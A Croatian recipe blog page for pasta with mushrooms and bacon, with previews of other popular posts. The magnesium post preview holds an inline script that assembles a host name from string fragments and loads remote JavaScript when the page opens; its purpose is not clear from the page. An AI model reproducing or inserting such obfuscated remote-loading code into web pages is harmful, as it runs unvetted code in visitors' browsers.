TJESTENINA S GLJIVAMA I SLANINOM 🍄 🍄‍🟫


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Tjestenina s gljivama i slaninom 



Kremasta tjestenina s gljivama i slaninom brzo je i ukusno jelo u kojem se divno spajaju zapečena slanina, pržene gljive i bogati umak. Pileći temeljac i češnjak daju još više okusa, a ribani parmezan na kraju će sve zaokružiti. 





Tjestenina s gljivama i slaninom 


Sastojci:

  • 300 g tjestenine
  • 1 žlica maslinovog ulja
  • 200 g slanine, narezane na debele trake
  • 1 mali crveni luk, sitno nasjeckan
  • 400 g šampinjona, narezanih
  • 1 žlica svježe nasjeckanog češnjaka
  • 2 grančice timijana, plus za ukras
  • 125 ml pilećeg temeljca
  • 300 ml vrhnja za kuhanje
  • 50 g svježe naribanog parmezana, plus za posluživanje
  • ½ čajne žličice morske soli
  • svježe mljeveni crni papar, za posluživanje




Priprema:

  1. Skuhajte tjesteninu prema uputama na pakiranju, ali skratite vrijeme kuhanja za 1-2 minute.
  2. Zagrijte maslinovo ulje u velikoj, dubokoj tavi na srednje jakoj vatri.
  3. Dodajte slaninu i pržite 2-3 minute.
  4. Dodajte crveni luk i pržite ga, miješajući, dok ne uvene, pa dodajte gljive. Dinstajte 4-5 minuta.
  5. Umiješajte i kratko prodinstajte češnjak, 30 sekundi. Dodajte timijan.
  6. Onda dodajte pileći temeljac i sastružite sve što se zalijepilo za dno. Kuhajte 1 do 2 minute pa dodajte vrhnje i parmezan. Pustite da lagano kuha i kuhajte još 2 do 3 minute ili dok se ne zgusne. Posolite po ukusu.
  7. Kad je tjestenina gotova, ocijedite je i isperite hladnom vodom.
  8. Izvadite grančice timijana iz umaka. Dodajte tjesteninu i miješajte je u umaku 1 minutu.
  9. Poslužite s malo parmezana, mljevenog crnog papra i dodatnim svježim listovima timijana.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više